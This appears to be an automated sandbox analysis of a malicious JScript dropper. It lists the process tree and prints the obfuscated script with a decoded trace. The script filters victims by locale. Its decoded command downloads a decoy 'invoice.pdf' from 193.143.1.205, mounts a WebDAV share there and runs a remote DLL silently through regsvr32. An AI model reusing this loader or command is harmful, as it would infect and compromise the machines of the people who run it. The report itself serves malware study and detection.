Jan 11, 2025 08:58:31.856096983 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:58:31 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	1
Start time:	02:58:23
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\599461291572316126.js"
Imagebase:	0x7ff62e180000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:58:24
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30017117216679.dll
Imagebase:	0x7ff6d7830000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:58:24
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:58:24
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:58:29
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	02:58:29
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6d7830000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:58:29
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff798ac0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:58:30
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	02:58:30
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	02:58:30
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1636,i,3623783561045956600,1222164266513190760,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function hrtjjt() {	hrtjjt() ➔ undefined
1	svpvgfesx = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var iezqizys = this[vexjgt + vxkig + ncvhfvsn + wdouyy + nyigsltd + wqxboutwj + licgqgghn + rnvev] ( this[rdelme + ztncwsurp + sisqp + ncvhfvsn + kpdlgwb + vexjgt + rnvev][qwhurna + ncvhfvsn + nyigsltd + vxkig + rnvev + nyigsltd + lsktgvhfa + oakncvbi + gzxjmr + nyigsltd + sisqp + rnvev] ( rdelme + ztncwsurp + sisqp + ncvhfvsn + kpdlgwb + vexjgt + rnvev + gatyfm + ztncwsurp + ishupoa + nyigsltd + jxolbs + jxolbs ) [unyyp + nyigsltd + uazbyyzhz + unyyp + nyigsltd + vxkig + qmtvmyp] ( wpwsqgp + qegakxz + yzwhqttd + itjvxsqn + dyhcm + qwhurna + aormtwgt + unyyp + unyyp + yzwhqttd + hxlsc + kevdnfvd + dyhcm + aormtwgt + ztncwsurp + yzwhqttd + unyyp + kcccmafr + qwhurna + agenxxhdt + licgqgghn + rnvev + ncvhfvsn + agenxxhdt + jxolbs + eovcnylge + wekwan + vxkig + licgqgghn + nyigsltd + jxolbs + kcccmafr + wqxboutwj + licgqgghn + rnvev + nyigsltd + ncvhfvsn + licgqgghn + vxkig + rnvev + kpdlgwb + agenxxhdt + licgqgghn + vxkig + jxolbs + kcccmafr + yqrynltka + agenxxhdt + sisqp + vxkig + jxolbs + nyigsltd ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( raqegnftw = 0 ; raqegnftw < svpvgfesx[jxolbs + nyigsltd + licgqgghn + uazbyyzhz + rnvev + ishupoa] ; ++ raqegnftw )
4	{
5	if ( iezqizys == svpvgfesx[raqegnftw] )
6	{
7	iezqizys = true;
8	break ;
9	}
10	}
11	if ( iezqizys !== true )
12	this[rdelme + ztncwsurp + sisqp + ncvhfvsn + kpdlgwb + vexjgt + rnvev][nvqwhoxh + lwbaebcj + kpdlgwb + rnvev] ( );
13	this[rdelme + ztncwsurp + sisqp + ncvhfvsn + kpdlgwb + vexjgt + rnvev][qwhurna + ncvhfvsn + nyigsltd + vxkig + rnvev + nyigsltd + lsktgvhfa + oakncvbi + gzxjmr + nyigsltd + sisqp + rnvev] ( rdelme + ztncwsurp + sisqp + ncvhfvsn + kpdlgwb + vexjgt + rnvev + gatyfm + ztncwsurp + ishupoa + nyigsltd + jxolbs + jxolbs ) [ncvhfvsn + lwbaebcj + licgqgghn] ( sisqp + wiwie + qmtvmyp + eovcnylge + uyodjohn + sisqp + eovcnylge + vexjgt + agenxxhdt + mhurwh + nyigsltd + ncvhfvsn + wdouyy + ishupoa + nyigsltd + jxolbs + jxolbs + gatyfm + nyigsltd + wgglxf + nyigsltd + eovcnylge + boswz + qwhurna + agenxxhdt + wiwie + wiwie + vxkig + licgqgghn + qmtvmyp + eovcnylge + cselfmdjq + wqxboutwj + licgqgghn + aofjhl + agenxxhdt + yovfotdzr + nyigsltd + boswz + rdelme + nyigsltd + oakncvbi + unyyp + nyigsltd + qpshh + lwbaebcj + nyigsltd + wdouyy + rnvev + eovcnylge + boswz + lsktgvhfa + lwbaebcj + rnvev + uzvyevjs + kpdlgwb + jxolbs + nyigsltd + eovcnylge + jttewhu + rnvev + nyigsltd + wiwie + vexjgt + jttewhu + kcccmafr + kpdlgwb + licgqgghn + aofjhl + agenxxhdt + kpdlgwb + sisqp + nyigsltd + gatyfm + vexjgt + qmtvmyp + puexeyx + eovcnylge + ishupoa + rnvev + rnvev + vexjgt + twixofqx + uyodjohn + uyodjohn + odjvf + qlqnfaxk + ulrwfnn + gatyfm + odjvf + uchmetkh + ulrwfnn + gatyfm + odjvf + gatyfm + hnqtkntzv + qzvhifuh + wuscsdmjm + uyodjohn + kpdlgwb + licgqgghn + aofjhl + agenxxhdt + kpdlgwb + sisqp + nyigsltd + gatyfm + vexjgt + ishupoa + vexjgt + cselfmdjq + bejoqui + bejoqui + wdouyy + rnvev + vxkig + ncvhfvsn + rnvev + eovcnylge + jttewhu + rnvev + nyigsltd + wiwie + vexjgt + jttewhu + kcccmafr + kpdlgwb + licgqgghn + aofjhl + agenxxhdt + kpdlgwb + sisqp + nyigsltd + gatyfm + vexjgt + qmtvmyp + puexeyx + bejoqui + bejoqui + sisqp + wiwie + qmtvmyp + eovcnylge + uyodjohn + sisqp + eovcnylge + licgqgghn + nyigsltd + rnvev + eovcnylge + lwbaebcj + wdouyy + nyigsltd + eovcnylge + kcccmafr + kcccmafr + odjvf + qlqnfaxk + ulrwfnn + gatyfm + odjvf + uchmetkh + ulrwfnn + gatyfm + odjvf + gatyfm + hnqtkntzv + qzvhifuh + wuscsdmjm + plemwinl + soeop + soeop + soeop + soeop + kcccmafr + qmtvmyp + vxkig + aofjhl + mhurwh + mhurwh + mhurwh + ncvhfvsn + agenxxhdt + agenxxhdt + rnvev + kcccmafr + bejoqui + bejoqui + sisqp + wiwie + qmtvmyp + eovcnylge + uyodjohn + sisqp + eovcnylge + ncvhfvsn + nyigsltd + uazbyyzhz + wdouyy + aofjhl + ncvhfvsn + ulrwfnn + hnqtkntzv + eovcnylge + uyodjohn + wdouyy + eovcnylge + kcccmafr + kcccmafr + odjvf + qlqnfaxk + ulrwfnn + gatyfm + odjvf + uchmetkh + ulrwfnn + gatyfm + odjvf + gatyfm + hnqtkntzv + qzvhifuh + wuscsdmjm + plemwinl + soeop + soeop + soeop + soeop + kcccmafr + qmtvmyp + vxkig + aofjhl + mhurwh + mhurwh + mhurwh + ncvhfvsn + agenxxhdt + agenxxhdt + rnvev + kcccmafr + ulrwfnn + qzvhifuh + qzvhifuh + odjvf + uztiamhea + odjvf + odjvf + uztiamhea + hnqtkntzv + odjvf + tuhca + tuhca + uztiamhea + qlqnfaxk + gatyfm + qmtvmyp + jxolbs + jxolbs, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30017117216679.dll",0,false) ➔ 0
14	}
15	aofjhl = "W";
16	aofjhl = "m";
17	aofjhl = "L";
18	aofjhl = "v";
19	aofjhl = "Z";
20	aofjhl = "G";
21	aofjhl = "M";
22	aofjhl = "t";
23	aofjhl = "n";
24	aofjhl = "q";
25	aofjhl = "Y";
26	aofjhl = "d";
27	aofjhl = "z";
28	aofjhl = "Q";
29	aofjhl = "k";
30	aofjhl = "d";
31	aofjhl = "H";
32	aofjhl = "b";
33	aofjhl = "O";
34	aofjhl = "Z";
35	aofjhl = "M";
36	aofjhl = "o";
37	aofjhl = "y";
38	aofjhl = "G";
39	aofjhl = "u";
40	aofjhl = "V";
41	aofjhl = "t";
42	aofjhl = "B";
43	aofjhl = "o";
44	aofjhl = "I";
45	aofjhl = "m";
46	aofjhl = "y";
47	aofjhl = "v";
48	nyigsltd = "i";
49	nyigsltd = "A";
50	nyigsltd = "l";
51	nyigsltd = "r";
52	nyigsltd = "K";
53	nyigsltd = "u";
54	nyigsltd = "n";
55	nyigsltd = "J";
56	nyigsltd = "F";
57	nyigsltd = "N";
58	nyigsltd = "c";
59	nyigsltd = "b";
60	nyigsltd = "T";
61	nyigsltd = "s";
62	nyigsltd = "g";
63	nyigsltd = "y";
64	nyigsltd = "b";
65	nyigsltd = "S";
66	nyigsltd = "F";
67	nyigsltd = "e";
68	sisqp = "P";
69	sisqp = "Q";
70	sisqp = "U";
71	sisqp = "N";
72	sisqp = "o";
73	sisqp = "v";
74	sisqp = "M";
75	sisqp = "j";
76	sisqp = "V";
77	sisqp = "C";
78	sisqp = "I";
79	sisqp = "D";
80	sisqp = "G";
81	sisqp = "S";
82	sisqp = "m";
83	sisqp = "C";
84	sisqp = "G";
85	sisqp = "p";
86	sisqp = "T";
87	sisqp = "e";
88	sisqp = "b";
89	sisqp = "P";
90	sisqp = "N";
91	sisqp = "a";
92	sisqp = "r";
93	sisqp = "u";
94	sisqp = "p";
95	sisqp = "r";
96	sisqp = "Y";
97	sisqp = "a";
98	sisqp = "d";
99	sisqp = "E";
100	sisqp = "i";
101	sisqp = "F";
102	sisqp = "S";
103	sisqp = "E";
104	sisqp = "T";
105	sisqp = "r";
106	sisqp = "c";
107	eovcnylge = " ";
108	soeop = "t";
109	soeop = "C";
110	soeop = "O";
111	soeop = "P";
112	soeop = "x";
113	soeop = "B";
114	soeop = "y";
115	soeop = "A";
116	soeop = "C";
117	soeop = "c";
118	soeop = "q";
119	soeop = "R";
120	soeop = "n";
121	soeop = "P";
122	soeop = "f";
123	soeop = "b";
124	soeop = "Z";
125	soeop = "v";
126	soeop = "O";
127	soeop = "f";
128	soeop = "W";
129	soeop = "A";
130	soeop = "i";
131	soeop = "r";
132	soeop = "u";
133	soeop = "Z";
134	soeop = "n";
135	soeop = "8";
136	plemwinl = "X";
137	plemwinl = "H";
138	plemwinl = "j";
139	plemwinl = "D";
140	plemwinl = "Z";
141	plemwinl = "a";
142	plemwinl = "x";
143	plemwinl = "Q";
144	plemwinl = "s";
145	plemwinl = "r";
146	plemwinl = "Z";
147	plemwinl = "k";
148	plemwinl = "u";
149	plemwinl = "t";
150	plemwinl = "s";
151	plemwinl = "c";
152	plemwinl = "F";
153	plemwinl = "D";
154	plemwinl = "c";
155	plemwinl = "@";
156	ztncwsurp = "H";
157	ztncwsurp = "o";
158	ztncwsurp = "G";
159	ztncwsurp = "u";
160	ztncwsurp = "X";
161	ztncwsurp = "N";
162	ztncwsurp = "V";
163	ztncwsurp = "u";
164	ztncwsurp = "h";
165	ztncwsurp = "u";
166	ztncwsurp = "O";
167	ztncwsurp = "I";
168	ztncwsurp = "p";
169	ztncwsurp = "j";
170	ztncwsurp = "G";
171	ztncwsurp = "s";
172	ztncwsurp = "L";
173	ztncwsurp = "H";
174	ztncwsurp = "X";
175	ztncwsurp = "i";
176	ztncwsurp = "i";
177	ztncwsurp = "y";
178	ztncwsurp = "N";
179	ztncwsurp = "P";
180	ztncwsurp = "d";
181	ztncwsurp = "H";
182	ztncwsurp = "y";
183	ztncwsurp = "N";
184	ztncwsurp = "w";
185	ztncwsurp = "G";
186	ztncwsurp = "n";
187	ztncwsurp = "T";
188	ztncwsurp = "B";
189	ztncwsurp = "r";
190	ztncwsurp = "S";
191	wekwan = "V";
192	wekwan = "P";
193	wekwan = "l";
194	wekwan = "U";
195	wekwan = "b";
196	wekwan = "A";
197	wekwan = "M";
198	wekwan = "k";
199	wekwan = "C";
200	wekwan = "s";
201	wekwan = "X";
202	wekwan = "w";
203	wekwan = "L";
204	wekwan = "B";
205	wekwan = "Z";
206	wekwan = "O";
207	wekwan = "R";
208	wekwan = "l";
209	wekwan = "M";
210	wekwan = "w";
211	wekwan = "P";
212	boswz = "d";
213	boswz = "C";
214	boswz = "E";
215	boswz = "Q";
216	boswz = "L";
217	boswz = "m";
218	boswz = "L";
219	boswz = "e";
220	boswz = "e";
221	boswz = "X";
222	boswz = "l";
223	boswz = "L";
224	boswz = "k";
225	boswz = "K";
226	boswz = "Z";
227	boswz = "V";
228	boswz = "H";
229	boswz = "X";
230	boswz = "w";
231	boswz = "I";
232	boswz = "V";
233	boswz = "t";
234	boswz = "C";
235	boswz = "w";
236	boswz = "H";
237	boswz = "G";
238	boswz = "i";
239	boswz = "e";
240	boswz = "O";
241	boswz = "R";
242	boswz = "R";
243	boswz = "U";
244	boswz = "S";
245	boswz = "m";
246	boswz = "E";
247	boswz = "g";
248	boswz = "j";
249	boswz = "D";
250	boswz = "-";
251	wdouyy = "L";
252	wdouyy = "i";
253	wdouyy = "P";
254	wdouyy = "y";
255	wdouyy = "N";
256	wdouyy = "r";
257	wdouyy = "S";
258	wdouyy = "j";
259	wdouyy = "l";
260	wdouyy = "B";
261	wdouyy = "J";
262	wdouyy = "n";
263	wdouyy = "Y";
264	wdouyy = "j";
265	wdouyy = "H";
266	wdouyy = "T";
267	wdouyy = "d";
268	wdouyy = "f";
269	wdouyy = "R";
270	wdouyy = "L";
271	wdouyy = "U";
272	wdouyy = "d";
273	wdouyy = "Q";
274	wdouyy = "b";
275	wdouyy = "r";
276	wdouyy = "A";
277	wdouyy = "K";
278	wdouyy = "o";
279	wdouyy = "D";
280	wdouyy = "U";
281	wdouyy = "L";
282	wdouyy = "U";
283	wdouyy = "s";
284	ulrwfnn = "y";
285	ulrwfnn = "n";
286	ulrwfnn = "w";
287	ulrwfnn = "W";
288	ulrwfnn = "G";
289	ulrwfnn = "q";
290	ulrwfnn = "g";
291	ulrwfnn = "K";
292	ulrwfnn = "B";
293	ulrwfnn = "K";
294	ulrwfnn = "x";
295	ulrwfnn = "W";
296	ulrwfnn = "d";
297	ulrwfnn = "k";
298	ulrwfnn = "w";
299	ulrwfnn = "3";
300	uyodjohn = "K";
301	uyodjohn = "J";
302	uyodjohn = "v";
303	uyodjohn = "B";
304	uyodjohn = "O";
305	uyodjohn = "r";
306	uyodjohn = "X";
307	uyodjohn = "O";
308	uyodjohn = "p";
309	uyodjohn = "b";
310	uyodjohn = "X";
311	uyodjohn = "X";
312	uyodjohn = "D";
313	uyodjohn = "h";
314	uyodjohn = "p";
315	uyodjohn = "b";
316	uyodjohn = "x";
317	uyodjohn = "u";
318	uyodjohn = "y";
319	uyodjohn = "F";
320	uyodjohn = "P";
321	uyodjohn = "N";
322	uyodjohn = "y";
323	uyodjohn = "u";
324	uyodjohn = "Z";
325	uyodjohn = "k";
326	uyodjohn = "f";
327	uyodjohn = "z";
328	uyodjohn = "x";
329	uyodjohn = "P";
330	uyodjohn = "L";
331	uyodjohn = "s";
332	uyodjohn = "i";
333	uyodjohn = "Q";
334	uyodjohn = "S";
335	uyodjohn = "i";
336	uyodjohn = "c";
337	uyodjohn = "/";
338	qmtvmyp = "V";
339	qmtvmyp = "q";
340	qmtvmyp = "F";
341	qmtvmyp = "D";
342	qmtvmyp = "u";
343	qmtvmyp = "l";
344	qmtvmyp = "m";
345	qmtvmyp = "u";
346	qmtvmyp = "r";
347	qmtvmyp = "k";
348	qmtvmyp = "V";
349	qmtvmyp = "I";
350	qmtvmyp = "g";
351	qmtvmyp = "P";
352	qmtvmyp = "a";
353	qmtvmyp = "h";
354	qmtvmyp = "a";
355	qmtvmyp = "G";
356	qmtvmyp = "g";
357	qmtvmyp = "e";
358	qmtvmyp = "d";
359	nvqwhoxh = "E";
360	nvqwhoxh = "J";
361	nvqwhoxh = "s";
362	nvqwhoxh = "F";
363	nvqwhoxh = "P";
364	nvqwhoxh = "h";
365	nvqwhoxh = "X";
366	nvqwhoxh = "F";
367	nvqwhoxh = "g";
368	nvqwhoxh = "N";
369	nvqwhoxh = "z";
370	nvqwhoxh = "o";
371	nvqwhoxh = "o";
372	nvqwhoxh = "y";
373	nvqwhoxh = "b";
374	nvqwhoxh = "d";
375	nvqwhoxh = "U";
376	nvqwhoxh = "z";
377	nvqwhoxh = "V";
378	nvqwhoxh = "R";
379	nvqwhoxh = "Q";
380	gatyfm = "g";
381	gatyfm = "w";
382	gatyfm = "E";
383	gatyfm = "d";
384	gatyfm = "D";
385	gatyfm = "z";
386	gatyfm = "c";
387	gatyfm = "L";
388	gatyfm = "j";
389	gatyfm = "z";
390	gatyfm = "C";
391	gatyfm = "o";
392	gatyfm = "B";
393	gatyfm = "H";
394	gatyfm = "b";
395	gatyfm = "M";
396	gatyfm = "J";
397	gatyfm = "T";
398	gatyfm = "C";
399	gatyfm = "e";
400	gatyfm = "N";
401	gatyfm = "y";
402	gatyfm = "p";
403	gatyfm = ".";
404	qpshh = "q";
405	qpshh = "z";
406	qpshh = "C";
407	qpshh = "a";
408	qpshh = "H";
409	qpshh = "T";
410	qpshh = "Y";
411	qpshh = "x";
412	qpshh = "v";
413	qpshh = "n";
414	qpshh = "R";
415	qpshh = "H";
416	qpshh = "R";
417	qpshh = "I";
418	qpshh = "o";
419	qpshh = "e";
420	qpshh = "w";
421	qpshh = "v";
422	qpshh = "B";
423	qpshh = "r";
424	qpshh = "r";
425	qpshh = "D";
426	qpshh = "g";
427	qpshh = "T";
428	qpshh = "O";
429	qpshh = "h";
430	qpshh = "c";
431	qpshh = "N";
432	qpshh = "w";
433	qpshh = "A";
434	qpshh = "y";
435	qpshh = "O";
436	qpshh = "q";
437	vxkig = "a";
438	yqrynltka = "j";
439	yqrynltka = "h";
440	yqrynltka = "N";
441	yqrynltka = "N";
442	yqrynltka = "B";
443	yqrynltka = "p";
444	yqrynltka = "l";
445	yqrynltka = "T";
446	yqrynltka = "w";
447	yqrynltka = "Q";
448	yqrynltka = "t";
449	yqrynltka = "Y";
450	yqrynltka = "c";
451	yqrynltka = "s";
452	yqrynltka = "n";
453	yqrynltka = "m";
454	yqrynltka = "L";
455	yqrynltka = "Q";
456	yqrynltka = "L";
457	yqrynltka = "E";
458	yqrynltka = "G";
459	yqrynltka = "V";
460	yqrynltka = "V";
461	yqrynltka = "y";
462	yqrynltka = "j";
463	yqrynltka = "a";
464	yqrynltka = "L";
465	lsktgvhfa = "K";
466	lsktgvhfa = "a";
467	lsktgvhfa = "f";
468	lsktgvhfa = "z";
469	lsktgvhfa = "I";
470	lsktgvhfa = "S";
471	lsktgvhfa = "Q";
472	lsktgvhfa = "W";
473	lsktgvhfa = "c";
474	lsktgvhfa = "N";
475	lsktgvhfa = "s";
476	lsktgvhfa = "u";
477	lsktgvhfa = "O";
478	rnvev = "A";
479	rnvev = "c";
480	rnvev = "x";
481	rnvev = "z";
482	rnvev = "J";
483	rnvev = "F";
484	rnvev = "d";
485	rnvev = "z";
486	rnvev = "v";
487	rnvev = "N";
488	rnvev = "w";
489	rnvev = "i";
490	rnvev = "n";
491	rnvev = "e";
492	rnvev = "e";
493	rnvev = "E";
494	rnvev = "b";
495	rnvev = "v";
496	rnvev = "m";
497	rnvev = "x";
498	rnvev = "I";
499	rnvev = "T";
500	rnvev = "X";
501	rnvev = "z";
502	rnvev = "I";
503	rnvev = "y";
504	rnvev = "n";
505	rnvev = "w";
506	rnvev = "o";
507	rnvev = "p";
508	rnvev = "w";
509	rnvev = "w";
510	rnvev = "z";
511	rnvev = "q";
512	rnvev = "F";
513	rnvev = "t";
514	puexeyx = "I";
515	puexeyx = "t";
516	puexeyx = "y";
517	puexeyx = "f";
518	cselfmdjq = "d";
519	cselfmdjq = "g";
520	cselfmdjq = "U";
521	cselfmdjq = "w";
522	cselfmdjq = "k";
523	cselfmdjq = "p";
524	cselfmdjq = "g";
525	cselfmdjq = "l";
526	cselfmdjq = "J";
527	cselfmdjq = "W";
528	cselfmdjq = "b";
529	cselfmdjq = "h";
530	cselfmdjq = "Z";
531	cselfmdjq = "F";
532	cselfmdjq = "M";
533	cselfmdjq = "b";
534	cselfmdjq = "l";
535	cselfmdjq = "z";
536	cselfmdjq = "Z";
537	cselfmdjq = "\"";
538	ishupoa = "B";
539	ishupoa = "C";
540	ishupoa = "h";
541	ishupoa = "T";
542	ishupoa = "e";
543	ishupoa = "J";
544	ishupoa = "A";
545	ishupoa = "n";
546	ishupoa = "B";
547	ishupoa = "O";
548	ishupoa = "u";
549	ishupoa = "t";
550	ishupoa = "d";
551	ishupoa = "t";
552	ishupoa = "V";
553	ishupoa = "D";
554	ishupoa = "m";
555	ishupoa = "C";
556	ishupoa = "h";
557	wgglxf = "o";
558	wgglxf = "K";
559	wgglxf = "x";
560	unyyp = "Z";
561	unyyp = "f";
562	unyyp = "m";
563	unyyp = "y";
564	unyyp = "T";
565	unyyp = "A";
566	unyyp = "s";
567	unyyp = "b";
568	unyyp = "A";
569	unyyp = "Q";
570	unyyp = "v";
571	unyyp = "E";
572	unyyp = "X";
573	unyyp = "G";
574	unyyp = "V";
575	unyyp = "p";
576	unyyp = "l";
577	unyyp = "q";
578	unyyp = "b";
579	unyyp = "i";
580	unyyp = "z";
581	unyyp = "r";
582	unyyp = "g";
583	unyyp = "f";
584	unyyp = "p";
585	unyyp = "W";
586	unyyp = "p";
587	unyyp = "R";
588	yovfotdzr = "T";
589	yovfotdzr = "j";
590	yovfotdzr = "K";
591	yovfotdzr = "u";
592	yovfotdzr = "v";
593	yovfotdzr = "R";
594	yovfotdzr = "l";
595	yovfotdzr = "B";
596	yovfotdzr = "M";
597	yovfotdzr = "E";
598	yovfotdzr = "t";
599	yovfotdzr = "a";
600	yovfotdzr = "P";
601	yovfotdzr = "R";
602	yovfotdzr = "e";
603	yovfotdzr = "Q";
604	yovfotdzr = "o";
605	yovfotdzr = "n";
606	yovfotdzr = "c";
607	yovfotdzr = "A";
608	yovfotdzr = "L";
609	yovfotdzr = "k";
610	yovfotdzr = "U";
611	yovfotdzr = "V";
612	yovfotdzr = "f";
613	yovfotdzr = "P";
614	yovfotdzr = "w";
615	yovfotdzr = "h";
616	yovfotdzr = "G";
617	yovfotdzr = "N";
618	yovfotdzr = "o";
619	yovfotdzr = "c";
620	yovfotdzr = "k";
621	itjvxsqn = "z";
622	itjvxsqn = "z";
623	itjvxsqn = "l";
624	itjvxsqn = "M";
625	itjvxsqn = "E";
626	itjvxsqn = "G";
627	itjvxsqn = "i";
628	itjvxsqn = "x";
629	itjvxsqn = "B";
630	itjvxsqn = "P";
631	itjvxsqn = "w";
632	itjvxsqn = "R";
633	itjvxsqn = "r";
634	itjvxsqn = "h";
635	itjvxsqn = "h";
636	itjvxsqn = "Y";
637	itjvxsqn = "j";
638	itjvxsqn = "E";
639	itjvxsqn = "m";
640	itjvxsqn = "W";
641	itjvxsqn = "Y";
642	aormtwgt = "t";
643	aormtwgt = "n";
644	aormtwgt = "Z";
645	aormtwgt = "c";
646	aormtwgt = "x";
647	aormtwgt = "P";
648	aormtwgt = "Z";
649	aormtwgt = "N";
650	aormtwgt = "Z";
651	aormtwgt = "U";
652	odjvf = "c";
653	odjvf = "B";
654	odjvf = "a";
655	odjvf = "Z";
656	odjvf = "y";
657	odjvf = "H";
658	odjvf = "v";
659	odjvf = "s";
660	odjvf = "c";
661	odjvf = "I";
662	odjvf = "U";
663	odjvf = "h";
664	odjvf = "E";
665	odjvf = "p";
666	odjvf = "P";
667	odjvf = "t";
668	odjvf = "Y";
669	odjvf = "x";
670	odjvf = "L";
671	odjvf = "K";
672	odjvf = "J";
673	odjvf = "d";
674	odjvf = "S";
675	odjvf = "q";
676	odjvf = "Y";
677	odjvf = "1";
678	dyhcm = "r";
679	dyhcm = "n";
680	dyhcm = "K";
681	dyhcm = "E";
682	dyhcm = "K";
683	dyhcm = "e";
684	dyhcm = "Y";
685	dyhcm = "G";
686	dyhcm = "k";
687	dyhcm = "h";
688	dyhcm = "P";
689	dyhcm = "L";
690	dyhcm = "e";
691	dyhcm = "d";
692	dyhcm = "j";
693	dyhcm = "q";
694	dyhcm = "y";
695	dyhcm = "_";
696	hnqtkntzv = "d";
697	hnqtkntzv = "k";
698	hnqtkntzv = "Z";
699	hnqtkntzv = "s";
700	hnqtkntzv = "G";
701	hnqtkntzv = "p";
702	hnqtkntzv = "G";
703	hnqtkntzv = "e";
704	hnqtkntzv = "a";
705	hnqtkntzv = "Y";
706	hnqtkntzv = "y";
707	hnqtkntzv = "F";
708	hnqtkntzv = "H";
709	hnqtkntzv = "s";
710	hnqtkntzv = "g";
711	hnqtkntzv = "W";
